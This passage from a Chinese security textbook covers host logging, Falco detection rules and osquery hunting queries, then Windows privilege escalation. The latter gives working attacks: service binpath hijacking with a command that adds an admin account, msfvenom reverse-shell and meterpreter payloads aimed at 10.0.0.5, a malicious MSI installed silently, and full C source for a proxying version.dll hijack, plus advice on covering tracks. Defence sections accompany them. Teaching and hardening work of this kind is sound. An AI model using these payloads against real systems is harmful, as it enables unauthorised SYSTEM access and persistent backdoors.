        "CMD: user=$(whoami) auid=$(cat /proc/self/loginuid 2>/dev/null || echo unknown) \
         ppid=$PPID pwd=$PWD cmd=$(history 1 | sed "s/^[ ]*[0-9]\+[ ]*//")"'
fi
EOF

# /etc/rsyslog.d/45-command.conf
echo "local6.debug  /var/log/commands.log" > /etc/rsyslog.d/45-command.conf
systemctl restart rsyslog

# 同时也要防止 history 被清
# /etc/profile
#   shopt -s histappend           # 追加而不是覆盖
#   export HISTSIZE=10000
#   export HISTFILESIZE=20000
#   export HISTTIMEFORMAT='%F %T '  # 记录时间
#   export HISTCONTROL=ignoredups
#   readonly HISTFILE              # ★ 防止被 unset
#   readonly HISTCONTROL
#   readonly HISTSIZE

# ========== ⑥ 集中日志架构 ==========
cat << 'EOF'
推荐的日志架构(ELK / EFK / Loki):

  主机 1 ─┐
  主机 2 ─┤
  主机 3 ─┼──→ Filebeat/Fluentd ──→ Kafka ──→ Logstash ──→ Elasticsearch ──→ Kibana
  主机 N ─┘                          ↑缓冲                                      ↓
                                                                            告警规则

★ 关键设计:
  ① 日志【实时外发】,本机不留唯一副本
  ② SIEM 对主机【只开写入权限】(攻击者连过去也删不掉)
  ③ 告警规则(示例):
     - 同一 IP 5 分钟内 SSH 失败 10 次 → 告警
     - 非工作时间出现 root 登录 → 告警
     - 出现 setuid 系统调用且 auid != 0 → 高危告警
     - /etc/passwd 被修改 → 高危告警
     - 出现 auditd 停止事件 → 紧急告警
     - 出现内核模块加载 → 告警
     - 日志文件被删除 → 紧急告警
EOF

6.4.8 HIDS / EDR

白话:

HIDS(Host-based Intrusion Detection System)
  = 装在主机上的入侵检测系统
  = "24 小时在机器里巡逻的保安"

EDR(Endpoint Detection and Response)
  = HIDS 的进化版
  = 不只检测,还能【响应】(隔离进程、隔离主机、回滚操作)

区别:
  HIDS:发现问题 → 告警 → 人工处理
  EDR:发现问题 → 告警 + 自动响应(杀进程、断网、隔离)+ 提供取证数据

HIDS/EDR 的能力层次:

┌────────────────────────────────────────────────────┐
│  ⑦ 响应层    杀进程、隔离主机、文件回滚            │
├────────────────────────────────────────────────────┤
│  ⑥ 行为层    进程链分析、异常行为检测              │
│              (ls → curl → bash = 可疑)           │
├────────────────────────────────────────────────────┤
│  ⑤ 网络层    异常外连、C2 通信检测                 │
├────────────────────────────────────────────────────┤
│  ④ 内核层    Rootkit 检测、系统调用 hook 检测      │
├────────────────────────────────────────────────────┤
│  ③ 完整性层  文件变更监控(FIM)                   │
├────────────────────────────────────────────────────┤
│  ② 审计层    命令记录、登录记录                    │
├────────────────────────────────────────────────────┤
│  ① 资产层    端口、进程、软件清单(SBOM)          │
└────────────────────────────────────────────────────┘

开源 HIDS 对比:

工具 类型 特点 适合
Wazuh HIDS + SIEM OSSEC 分支,有 Web 界面,支持 FIM/日志/合规 ★ 中小企业首选,免费
OSSEC HIDS 老牌,稳定,但界面弱 有经验的自建方案
Auditbeat 轻量 agent Elastic 生态,专注 auditd 数据 已有 ELK 的环境
Falco 运行时安全 ★ 专注容器/K8s 运行时检测,eBPF 驱动 ★ 云原生环境首选
Osquery 资产查询 用 SQL 查系统状态(进程/端口/文件) 资产盘点、应急排查
Suricata NIDS/HIDS 主要是网络层的,也能做主机 网络流量分析

Falco 配置示例(云原生运行时检测):

# /etc/falco/falco_rules.yaml(自定义规则)

# ★ Falco 规则语法:
#   - rule: 规则名
#     desc: 描述
#     condition: 触发条件(用系统调用字段表达)
#     output: 告警输出格式
#     priority: 优先级(EMERGENCY/ALERT/CRITICAL/ERROR/WARNING/NOTICE/INFO/DEBUG)
#     tags: 标签

- rule: 容器中启动了 shell
  desc: 容器内启动 shell 通常不正常(容器应该是不可变的)
  condition: >
    container.id != host and
    proc.name in (bash, sh, zsh, csh, ksh) and
    not container.image.repository in (falco_allowed_shell_images)
  output: >
    容器内启动了 shell(容器=%container.name 镜像=%container.image.repository
    命令=%proc.cmdline 用户=%user.name)
  priority: WARNING
  tags: [container, shell, mitre_execution]

- rule: 容器挂载了宿主机根目录
  desc: ★ 容器逃逸的典型前兆
  condition: >
    container.id != host and
    (proc.name in (mount, mount2) or
     (proc.name in (docker, podman, nerdctl) and proc.args contains "--volume=/:"))
  output: >
    容器尝试挂载宿主机目录(容器=%container.name 命令=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation]

- rule: 特权容器启动
  desc: ★ 特权容器 = 宿主机 root
  condition: >
    container.id != host and
    container.privileged=true
  output: >
    检测到特权容器(容器=%container.name 镜像=%container.image.repository)
  priority: CRITICAL
  tags: [container, privileged, mitre_privilege_escalation]

- rule: 敏感文件被读取
  desc: /etc/shadow 被非特权进程读取
  condition: >
    open_read and
    fd.name in (/etc/shadow, /etc/gshadow, /etc/sudoers) and
    not proc.name in (shadow_allowed_binaries) and
    user.uid != 0
  output: >
    敏感文件被读取(文件=%fd.name 进程=%proc.name 用户=%user.name 命令=%proc.cmdline)
  priority: CRITICAL
  tags: [filesystem, mitre_credential_access]

- rule: 写入 webshell
  desc: ★ 往 web 目录写了脚本文件
  condition: >
    (open_write or create) and
    fd.directory in (/var/www, /usr/share/nginx/html, /usr/local/tomcat/webapps) and
    fd.name endswith (.php, .jsp, .asp, .aspx, .sh, .py) and
    not proc.name in (web_allowed_writers)
  output: >
    检测到可能的 webshell 写入(文件=%fd.name 进程=%proc.name 用户=%user.name)
  priority: CRITICAL
  tags: [filesystem, webshell, mitre_persistence]

- rule: 反弹 shell 检测
  desc: ★ shell 的输入输出连到了网络 socket
  condition: >
    (proc.name in (bash, sh, zsh) or proc.pname in (bash, sh, zsh)) and
    fd.type in ("ipv4", "ipv6") and
    (fd.sport != 22 or fd.dport != 22)    # 排除正常的 SSH
  output: >
    检测到可能的反弹 shell(进程=%proc.name 命令=%proc.cmdline
    连接=%fd.name 用户=%user.name)
  priority: CRITICAL
  tags: [shell, reverse_shell, mitre_command_and_control]

- rule: 二进制文件被删除后执行
  desc: 恶意程序常见的自删除行为
  condition: >
    execve and
    (exe_from_memfd or proc.exe endswith "(deleted)")
  output: >
    执行了已删除的二进制(进程=%proc.name 路径=%proc.exe)
  priority: CRITICAL
  tags: [evasion, mitre_defense_evasion]

- rule: 修改了系统审计配置
  desc: 攻击者尝试关闭审计
  condition: >
    open_write and
    fd.name in (/etc/audit/auditd.conf, /etc/audit/rules.d, /etc/audisp) and
    not proc.name in (config_mgmt_tools)
  output: >
    审计配置被修改(文件=%fd.name 进程=%proc.name 用户=%user.name)
  priority: CRITICAL
  tags: [audit, defense_evasion]

- rule: 历史文件被清空
  desc: 攻击者清理痕迹
  condition: >
    (open_write or truncate or unlink) and
    fd.name in (/root/.bash_history, /home/*/.bash_history, /root/.zsh_history)
  output: >
    shell 历史被操作(文件=%fd.name 操作=%evt.type 进程=%proc.name)
  priority: WARNING
  tags: [evasion, anti_forensics]

- rule: 可疑的进程链
  desc: ★ web 服务进程启动了 shell(典型的 webshell 行为)
  condition: >
    proc.pname in (nginx, httpd, apache2, tomcat, java, node, php-fpm) and
    proc.name in (bash, sh, zsh, curl, wget, nc, ncat, python, perl, ruby)
  output: >
    可疑进程链:%proc.pname 启动了 %proc.name(命令=%proc.cmdline)
  priority: CRITICAL
  tags: [process, webshell, mitre_execution]

Osquery 用法(应急排查神器):

-- Osquery 用 SQL 语法查询系统状态,非常适合应急响应

-- ① 列出所有进程
SELECT pid, name, path, cmdline, uid, start_time
FROM processes
ORDER BY start_time DESC;

-- ② 找出没有对应磁盘文件的进程(可疑)
SELECT p.pid, p.name, p.path
FROM processes p
WHERE NOT EXISTS (
    SELECT 1 FROM file f WHERE f.path = p.path
);

-- ③ 列出所有监听端口
SELECT pid, port, address, protocol, path
FROM listening_ports
WHERE port NOT IN (22, 80, 443)
ORDER BY port;

-- ④ 列出所有网络连接
SELECT pid, local_address, local_port, remote_address, remote_port, state
FROM process_open_sockets
WHERE remote_address NOT IN ('127.0.0.1', '::1')
  AND remote_address != ''
ORDER BY remote_address;

-- ⑤ 找出 SUID 文件
SELECT path, uid, gid, mode, mtime
FROM file
WHERE path LIKE '/usr/bin/%'
  AND mode LIKE '%s%'
ORDER BY mtime DESC;

-- ⑥ 找出最近 24 小时修改的文件
SELECT path, mtime, size, md5
FROM file
WHERE path LIKE '/etc/%'
  AND mtime > (SELECT unix_time - 86400 FROM time)
ORDER BY mtime DESC;

-- ⑦ 列出所有 cron 任务
SELECT command, path, minute, hour, day, month
FROM crontab;

-- ⑧ 列出所有 systemd 服务
SELECT name, status, source, path
FROM systemd_units
WHERE status = 'enabled'
ORDER BY name;

-- ⑨ 列出已加载的内核模块
SELECT name, size, used_by, status
FROM kernel_modules
ORDER BY name;

-- ⑩ 找出有监听端口但没有已知包对应的文件
SELECT lp.pid, lp.port, lp.path, p.name
FROM listening_ports lp
LEFT JOIN processes p ON lp.pid = p.pid
WHERE lp.path NOT IN (
    SELECT path FROM rpm_packages_files
    UNION
    SELECT path FROM deb_packages_files
);

-- ⑪ 列出所有用户的 SSH 密钥
SELECT u.username, f.path, f.mtime
FROM users u
JOIN file f ON f.path LIKE u.directory || '/.ssh/authorized_keys'
ORDER BY f.mtime DESC;

-- ⑫ 找出环境变量可疑的进程(LD_PRELOAD 后门)
SELECT pid, name, key, value
FROM process_envs
WHERE key IN ('LD_PRELOAD', 'LD_LIBRARY_PATH')
  AND value NOT LIKE '/usr/lib/%';

6.5 Windows 与 Active Directory 主机攻击面

本节定位:前面 6.1~6.4 都在讲 Linux。但现实里企业的办公网、域控、大部分业务服务器跑的是 Windows。 而且 Windows 的攻击面和 Linux 完全不是一回事——Linux 主要靠“文件权限配错”, Windows 靠的是一个 Linux 根本没有的东西:令牌(Token)。

Linux 的权限模型   :钥匙。你有 /etc/shadow 的读权限,你就能读。
Windows 的权限模型 :工牌 + 门禁。你是谁(SID)不重要,
                     重要的是你手上这张卡(Token)刷得开哪道门。
                     而这张卡【可以被复制、冒充、偷走】。

这就是 Windows 提权比 Linux 更"花"的原因。

6.5.1 先讲清楚:Windows 权限模型的四个核心概念

在讲怎么打之前,必须先把这四个名词讲明白。不懂这四个,后面的 Potato 系列、令牌窃取全部看天书。

① SID(Security Identifier,安全标识符)

一句话定义:Windows 里每一个“主体”(用户、组、计算机、服务)的身份证号,全局唯一、永不复用。

生活类比:

Linux:用户叫 zhangsan,靠名字区分(底层其实是 UID 1000)
Windows:用户叫 zhangsan,但系统认的是
         S-1-5-21-3623811015-3361044348-30300820-1013

就算你把 zhangsan 改名成 lisi,SID 不变,权限也不变。
就算你删了 zhangsan 又建了个同名 zhangsan,SID 是新的,
旧文件的权限【不认】这个新的 zhangsan。

SID 的结构(看得懂就行):

S-1-5-21-3623811015-3361044348-30300820-1013
│ │ │ │  └──────────────┬───────────────┘ │
│ │ │ │                 │                  └── RID(相对标识符)
│ │ │ │                 └── 域/机器 SID(同一台机器上的账号共享)
│ │ │ └── 21 = 表示"域或本机账号"
│ │ └── 5  = NT Authority(Windows 自己发的号)
│ └── 1   = SID 版本号
└── S     = 这是 SID

几个必须记住的【固定 RID】:
  500  = Administrator(内置管理员,即使改名 RID 还是 500)
  501  = Guest(来宾账号)
  502  = KRBTGT(Kerberos 票据服务账号,域控上才有,黄金票据的关键)
  512  = Domain Admins(域管组)
  519  = Enterprise Admins(企业管理员组)
  1000+ = 普通新建用户/组

这对攻击意味着什么:

RID 500 的账号 = 真·管理员
攻击者只要看到 RID 500 的账号在登录,就知道"这是最有价值的靶子"。

而且 Administrator 默认不走 UAC(在域环境下),
拿它比拿一个"被加进 Administrators 组的普通用户"价值高得多。

查看 SID 的命令:

# 查看当前用户的 SID
whoami /user

# 查看所有用户及其 SID
wmic useraccount get name,sid

# 查看指定用户的 SID(PowerShell 5.1+)
Get-LocalUser | Select-Object Name, SID

# 查看本机机器 SID
Get-WmiObject Win32_UserAccount -Filter "LocalAccount=True" | Select Name,SID

② 令牌(Token,访问令牌)

一句话定义:进程启动时携带的一张“工牌”,上面写着「我是谁(SID)、我属于哪些组、我有哪些特权(Privilege)、我的完整性级别」。

生活类比(重点,讲透):

想象你进了一栋写字楼:

  ① 你(用户 zhangsan)在门口刷工牌登录
     → 保安(Winlogon)给你发一张【访客卡】,叫"用户令牌"
       (这一步叫"交互式登录")

  ② 你拿着这张卡进电梯、刷门禁、打印
     → 你打开的【每一个程序】都会复印一张你的卡带上
       (这叫"主令牌 Primary Token",进程继承用户的令牌)

  ③ 你去前台打印,前台(打印服务,以 SYSTEM 运行)说
     "我帮你打,我暂时冒充你的身份去文件服务器取文件"
     → 前台临时拿了一张【你的临时卡】,叫"模拟令牌"
       (这叫 Impersonation,模拟令牌 Impersonation Token)

★ 关键漏洞就出在第 ③ 步:
  如果前台能冒充的不是"普通员工",而是"保安队长 SYSTEM"呢?
  那就是提权。

★ 更关键的是:如果【你自己】能骗一个 SYSTEM 进程来主动连你,
  然后你让它"冒充一下",你就从普通员工变成保安队长了。
  这就是 Potato 系列提权的全部原理。

两种令牌:

类型 名字 什么时候产生 用途
主令牌(Primary Token) TokenPrimary 用户登录、进程创建时 代表“这个进程的主人是谁”
模拟令牌(Impersonation Token) TokenImpersonation 服务端代表客户端操作时 服务临时用客户端的身份访问资源

令牌里的关键信息(Mimikatz token::list 能看到):

  User SID        :我是谁
  Group SIDs      :我属于哪些组(Administrators / Domain Admins / ...)
  Privileges      :特权(SeDebugPrivilege / SeImpersonatePrivilege / ...)
  Integrity Level :完整性级别(Medium / High / System)
  Token Type      :primary 还是 impersonation
  Impersonation Level:Anonymous / Identification / Impersonation / Delegation
                   ★ 只有 Impersonation 及以上级别的令牌才能用来提权

③ 完整性级别(Integrity Level,IL / MIC)

一句话定义:Windows Vista 之后引入的“等级标签”,即使同一个人,低等级进程也改不了高等级的东西。

生活类比:

你(Administrator)和董事长(SYSTEM)都是"高层",
但你的工牌是【金色】,董事长的是【黑金】。
规定:金色的人不能进黑金的门,哪怕金色的人"理论上"是管理员。

这就是 UAC 的底层机制之一:
即使你是管理员,你打开的程序默认只有"金色卡"(Medium IL),
得右键"以管理员身份运行"弹窗同意后,才换成"黑金卡"(High IL)。

五个等级(从低到高):

等级 值 谁在用
Untrusted 0x0000 匿名进程
Low 0x1000 IE 保护模式、浏览器沙箱、Edge/Chrome 渲染进程
Medium 0x2000 标准用户登录后打开的所有程序(默认)
Medium-Plus 0x2100 —
High 0x3000 管理员“以管理员身份运行”
System 0x4000 SYSTEM 服务、lsass.exe、winlogon.exe
Protected 0x5000 受保护进程(PPL)

为什么要有它:

【MIC 的规矩】:进程默认【只能写同等级或更低等级的对象】,
                想写高等级的对象,必须走 UAC 弹窗。

所以:
  - 即使你是管理员,一个 Medium IL 的进程也写不了 HKLM\System
    (这就是 UAC 弹窗的本质)
  - 浏览器的渲染进程(Low IL)写不了你的桌面文件
    (这就是"下载的东西不能直接改系统"的机制)

查看完整性级别:

# 查看当前进程完整性级别
whoami /groups | findstr "Mandatory"

# 查看所有进程的完整性级别
Get-Process | Select-Object Id, ProcessName, @{n='IL';e={
    $t = [System.Security.Principal.WindowsIdentity]::GetCurrent()
    "需单独枚举"
}}

# 用 Sysinternals 的 accesschk 查看
accesschk.exe -p -f -v <进程名>

④ UAC(User Account Control,用户账户控制)

一句话定义:那个烦人的“是否允许此应用对你的设备进行更改?“弹窗。

它真正在干什么(很多人误解为“UAC 是安全边界”,微软官方说法:UAC 不是安全边界):

【UAC 的真实机制】(重点,面试高频)

  ① 管理员用户登录
  ② Windows 生成【两张令牌】:
     - 完整令牌(Full Token,High IL):Administrators 组启用,所有特权都在
     - 过滤令牌(Filtered Token,Medium IL):Administrators 组被标成
       "deny-only",大部分特权被摘掉
  ③ 你双击打开的所有程序,【默认都用过滤令牌】
  ④ 只有你右键"以管理员运行"并点"是",才用完整令牌

★ 所以:UAC 是"防误操作 + 逼恶意软件弹一次窗",
  不是"防攻击"。它有至少 6 种公认的绕过方式(BypassUAC)。

★ 而且从【网络/服务】进来的攻击者,压根不触发 UAC:
  服务(SYSTEM)下的操作、通过 PsExec/WMI 过来的操作,
  直接就是最高权限,UAC 根本不参与。

UAC 的四个等级(注册表 EnableLUA + ConsentPromptBehaviorAdmin):

等级 名称 表现
0 从不通知 关掉 UAC,管理员直接拿完整令牌(最危险)
1 仅在程序尝试更改时通知(不降低桌面亮度) 部分绕过可行
2 默认:仅在程序尝试更改时通知 安全桌面弹窗
3 始终通知 最严格

BypassUAC 举例(了解原理即可):

原理:有一些【系统自带程序】是"自动提权(autoElevate)"的,
      Windows 信任它们,不弹窗直接给 High IL 令牌。
      攻击者利用这些程序去加载自己的 DLL 或执行自己的命令,
      就"搭便车"拿到了高权限,全程无弹窗。

经典载体:
  - fodhelper.exe / computerdefaults.exe(读注册表
    HKCU:\Software\Classes\ms-settings\shell\open\command,直接执行你的命令)
  - eventvwr.exe(读 HKCU\Software\Classes\mscfile\shell\open\command)
  - sdclt.exe / SilentCleanup 任务

一键演示(UACME 项目,akagi64.exe):
  akagi64.exe 33    # 33 = fodhelper 方法

检测和加固:

# 检查 UAC 等级(0 = 已关闭,危险!)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin

# 加固:设为"始终通知"
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 1 /f

重要认知:不要指望 UAC 拦住攻击者。 一个已经在你机器上跑起来代码的攻击者,有几十种方法绕过 UAC。 真正的防线是:别让普通用户是本地管理员(从源头上就没有“完整令牌”可拿)。

⑤ ACL / DACL / SACL(访问控制列表)

一句话定义:Windows 里每个对象(文件、注册表键、服务、进程)上都挂着一张“谁能做什么”的清单。

ACL(Access Control List)= 总的叫法
  ├─ DACL(Discretionary ACL):谁能访问、能做什么   ← 攻击面在这里
  └─ SACL(System ACL)       :谁的访问要记审计日志 ← 检测用这个

DACL 里的一条叫 ACE(Access Control Entry):
  "允许/拒绝  某个 SID  做 某些操作(读/写/执行/完全控制)"

★ 重点:Windows 的 DACL 是【显式拒绝优先】
  一条 deny 直接压过所有 allow。
  这和很多人的直觉("我明明给了权限怎么不行")相反。

★ 更大的攻击面:DACL 配得太松
  比如一个服务(以 SYSTEM 运行)的 DACL 允许 Everyone 修改它的配置
  → 你改它的 binpath 指向自己的 exe → 重启服务 → SYSTEM
  (这就是 6.5.2 的第 ① 种提权姿势)

查看/修改 ACL:

# 查看服务的 DACL(需 Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" *        # 列出所有普通用户可修改的服务
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -q -c <服务名>                         # 看具体某个服务

# PowerShell 查看服务的 ACL
$sd = sc.exe sdshow <服务名>
ConvertFrom-SddlString $sd | Select-Object -ExpandProperty DiscretionaryAcl

# 查看文件 ACL
icacls C:\Windows\System32\config\SAM
Get-Acl C:\some\file | Format-List

Linux vs Windows 权限模型对照表

维度 Linux Windows
身份标识 UID / GID(数字) SID(字符串,全局唯一)
权限载体 进程的 uid/euid 访问令牌(Token)
权限清单 文件上的 rwx 对象上的 DACL(ACE 列表)
超级用户 root(uid 0) SYSTEM / Administrator(RID 500)
权限拆分 Capabilities(40+ 个) Privileges(SeDebugPrivilege 等 30+ 个)
强制访问控制 SELinux / AppArmor(可选) 完整性级别 IL / MIC(内置)
提权主要思路 找配错的 SUID、sudo、capability 找配错的服务 DACL、可冒充的令牌
身份“借用” setuid 程序 模拟令牌(Impersonation) ← 更复杂的攻击面

6.5.2 Windows 本地提权十种姿势(含完整利用)

前提:攻击者已经拿到一个普通用户的 shell(比如通过钓鱼、Web 漏洞、弱口令)。

① ★ 服务 DACL 配置错误(最常见、最稳)

原理:

Windows 服务(Service)本质是"以某个账号(常常是 SYSTEM)长期运行的程序"。
如果服务的【配置权限】太松,普通用户就能改它的启动命令(binpath):

  原:MyService 的 binpath = C:\Program Files\App\app.exe
  改:MyService 的 binpath = C:\Temp\evil.exe(或 net user hacker P@ss /add)
  重启服务 → SYSTEM 权限执行你的程序

利用步骤:

# ① 枚举所有服务,找出普通用户可修改的
#    方法一:accesschk(Sysinternals)
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "BUILTIN\Users" *

#    方法二:PowerShell 枚举所有服务的 DACL
$ErrorActionPreference = "SilentlyContinue"
Get-Service | ForEach-Object {
    $svc = $_.Name
    $sd  = sc.exe sdshow $svc 2>$null
    if ($sd -match '\(\;.*\;\;BU\)' -or $sd -match 'AU\)\(A\;\;.*\;\;WD\)') {
        [PSCustomObject]@{
            Service = $svc
            State   = $_.Status
            StartMode = (Get-WmiObject Win32_Service -Filter "Name='$svc'").StartMode
            SDDL    = $sd
        }
    }
} | Format-Table -AutoSize

#    方法三:PowerUp.ps1(PowerSploit 模块,一键扫全部提权点)
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# 输出里找 "Service 'XXX' has a modifiable binpath" 之类

# ② 确认可改后,改 binpath 并重启
sc.exe config MyService binPath= "C:\Windows\Temp\evil.exe"
sc.exe stop  MyService
sc.exe start MyService

# 或者更省事:直接塞一条命令(不需要你的 exe)
sc.exe config MyService binPath= "cmd.exe /c net user hacker P@ssw0rd! /add"
sc.exe stop MyService
sc.exe start MyService          # 会报错"服务没响应",但命令已经以 SYSTEM 跑了!
sc.exe config MyService binPath= "C:\Program Files\App\app.exe"   # 复原,掩盖痕迹
net user hacker                  # 确认账号建出来了
net localgroup administrators hacker /add

为什么 sc.exe start 会报错但命令已执行? 因为 Windows 服务管理器启动了你的 cmd.exe,cmd 执行完 net user 就退出了, 服务管理器等不到“服务已启动”的响应,超时报错。 但命令在超时前就已经以 SYSTEM 跑完了。这是攻击者的常识。

防御:

# ① 定期审计:哪些服务的 DACL 允许非管理员修改
# ② 服务的可执行文件目录必须只有管理员可写
icacls "C:\Program Files\App" /inheritance:d
icacls "C:\Program Files\App" /remove "BUILTIN\Users"
icacls "C:\Program Files\App" /grant "BUILTIN\Users:(RX)"

# ③ 服务用低权限账号跑(不要用 LocalSystem)
sc.exe config MyService obj= "NT SERVICE\MyService"   # 虚拟账户,最小权限

② ★ AlwaysInstallElevated(两行注册表引发的血案)

原理:

Windows 有个组策略:"永远以高特权安装 Windows Installer 包(.msi)"
如果 HKLM 和 HKCU 两个位置的 AlwaysInstallElevated 都 = 1,
那么【任何用户】运行【任何 .msi】都会以 SYSTEM 权限安装。

这是为了方便"普通员工自己装软件"开的,
代价是:普通用户 = SYSTEM。

利用:

# ① 检查是否被开启
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个都是 0x1 就能打

# ② 生成一个恶意 MSI(msfvenom)
msfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd! -f msi -o evil.msi
# 或者反弹 shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f msi -o evil.msi

# ③ 运行(普通用户即可)
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi
# /quiet /qn = 无界面静默安装,用户完全看不到

# ④ 验证
net user hacker

防御:

# 关闭(两个位置都要关)
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f

# 或组策略:计算机配置 → 管理模板 → Windows 组件 → Windows Installer
#           "永远以高特权进行安装" = 已禁用

③ 服务路径未加引号(Unquoted Service Path)

原理(很巧妙,讲透):

Windows 启动服务时,要找到可执行文件的路径。
如果路径【含空格且没有加引号】,Windows 的解析逻辑是"逐个试":

  binpath = C:\Program Files\My App\app.exe
             ↑ 有空格 ↑        ↑ 有空格

  没有引号,Windows 会依次尝试:
    ① C:\Program.exe               ← 存在?执行它
    ② C:\Program Files\My.exe      ← 存在?执行它
    ③ C:\Program Files\My App\app.exe  ← 才轮到真正的程序

★ 如果 C:\ 或 C:\Program Files\ 目录【普通用户可写】,
  攻击者放一个 Program.exe 或 My.exe 进去,
  下次服务启动(往往是开机时、以 SYSTEM)就执行攻击者的程序。

★ 为什么这种目录会可写?
  很多第三方软件的安装程序图省事,直接给 Everyone 完全控制。

利用:

# ① 枚举所有"路径含空格且未加引号"的服务
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

# 更好用的 PowerShell 版本
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.StartMode -eq 'Auto'
} | Select-Object Name, PathName, StartName | Format-List

# ② 检查对应目录是否可写
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\My App"
# 找 (F) 完全控制 或 (M) 修改 且主体是 BUILTIN\Users / Everyone / Authenticated Users

# ③ 放入恶意程序
copy C:\Temp\evil.exe "C:\Program Files\My.exe"

# ④ 等服务重启(或强制重启)
sc.exe stop MyService; sc.exe start MyService
# 如果没权限重启,就等下次开机 / 说服管理员重启 / 用其他方式触发

防御:

# ① 安装服务时路径永远加引号(开发侧规范)
sc.exe config MyService binPath= "\"C:\Program Files\My App\app.exe\""

# ② 修复 C:\ 和 Program Files 的权限(默认应该是正确的,被改过就修回来)
icacls "C:\Program Files" /remove "BUILTIN\Users"
icacls "C:\Program Files" /grant "BUILTIN\Users:(RX)"

# ③ 批量检测脚本(运维自查用)
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -and $_.PathName -notmatch '^"' -and $_.PathName -match '\s'
} | ForEach-Object {
    $p = ($_.PathName -split ' ', 2)[0]
    $dir = Split-Path $p -Parent
    if ($dir) {
        $acl = Get-Acl $dir -ErrorAction SilentlyContinue
        $bad = $acl.Access | Where-Object {
            $_.FileSystemRights -match 'Write|Modify|FullControl' -and
            $_.IdentityReference -match 'Users|Everyone|Authenticated Users'
        }
        if ($bad) {
            Write-Warning "[$($_.Name)] 路径未加引号 + 目录可写:$dir"
        }
    }
}

④ DLL 劫持(DLL Hijacking / Side-Loading)

原理:

Windows 程序要加载 DLL 时,如果写的是"相对名"(如 mylib.dll)而不是绝对路径,
系统会按【固定顺序】搜索:

  1. 程序所在目录                    ← ★ 攻击面(如果可写)
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 当前工作目录                    ← ★ 攻击面(很隐蔽)
  6. PATH 环境变量里的目录(按序)    ← ★ 攻击面

★ 只要第 1 步的目录(或 PATH 里某目录)普通用户可写,
  攻击者放一个同名 DLL 进去,程序启动时就会加载它。

★ 更狠的:KnownDLLs / DLL 代理转发
  你的假 DLL 加载真 DLL,把函数调用全部转过去(除了你想改的那个),
  程序完全正常运行,用户毫无察觉。

利用(带 DLL 代理转发的完整代码):

// evil_version.c
// 劫持 version.dll(Windows 最常被劫持的 DLL 之一,很多程序都加载它)
// 编译:x86_64-w64-mingw32-gcc -shared -o version.dll evil_version.c -lshlwapi

#include <windows.h>

// 真正的系统 DLL 路径
#define REAL_DLL L"C:\\Windows\\System32\\version.dll"

// 这个函数在 DLL 被加载时自动执行(DllMain)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        // ★ 关键:要用单独的线程执行,否则可能死锁(DllMain 里禁止复杂操作)
        DisableThreadLibraryCalls(hinstDLL);
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Payload, NULL, 0, NULL);
        if (hThread) CloseHandle(hThread);
    }
    return TRUE;
}

// 恶意载荷:建一个管理员账号
DWORD WINAPI Payload(LPVOID lpParam) {
    // 注意:程序以 SYSTEM 运行时,这里就是 SYSTEM
    WinExec("cmd.exe /c net user hacker P@ssw0rd! /add && net localgroup administrators hacker /add",
            SW_HIDE);
    return 0;
}

/* ========== DLL 代理转发 ==========
   下面这些 #pragma 让链接器把函数调用转给真正的 version.dll,
   这样被劫持的程序功能完全正常,不会崩溃、不会报错。
   ==================================================== */
#pragma comment(linker, "/export:GetFileVersionInfoA=REAL_VERSION.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoW=REAL_VERSION.GetFileVersionInfoW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=REAL_VERSION.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=REAL_VERSION.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:VerQueryValueA=REAL_VERSION.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=REAL_VERSION.VerQueryValueW")

更方便的方式是用现成工具生成:

# 用 metasploit 生成带代理转发的 DLL
# ① 先看真 DLL 导出了哪些函数
python3 spider-dll.py C:/Windows/System32/version.dll > version.def

# ② 生成恶意 DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
         LHOST=10.0.0.5 LPORT=4444 \
         -f dll -o version.dll

# ③ 放到目标目录(程序所在目录或 PATH 里的可写目录)
copy version.dll "C:\Program Files\Vulnerable App\version.dll"

查找可劫持的 DLL(用 Process Monitor):

Procmon 过滤条件:
  Operation  = CreateFile
  Result     = NAME NOT FOUND
  Path       ends with .dll

然后以目标用户启动程序,看它在哪些目录"找过但没找到" DLL。
把这些目录里有写权限的记下来。

命令行替代(用 PowerShell + Sysmon):
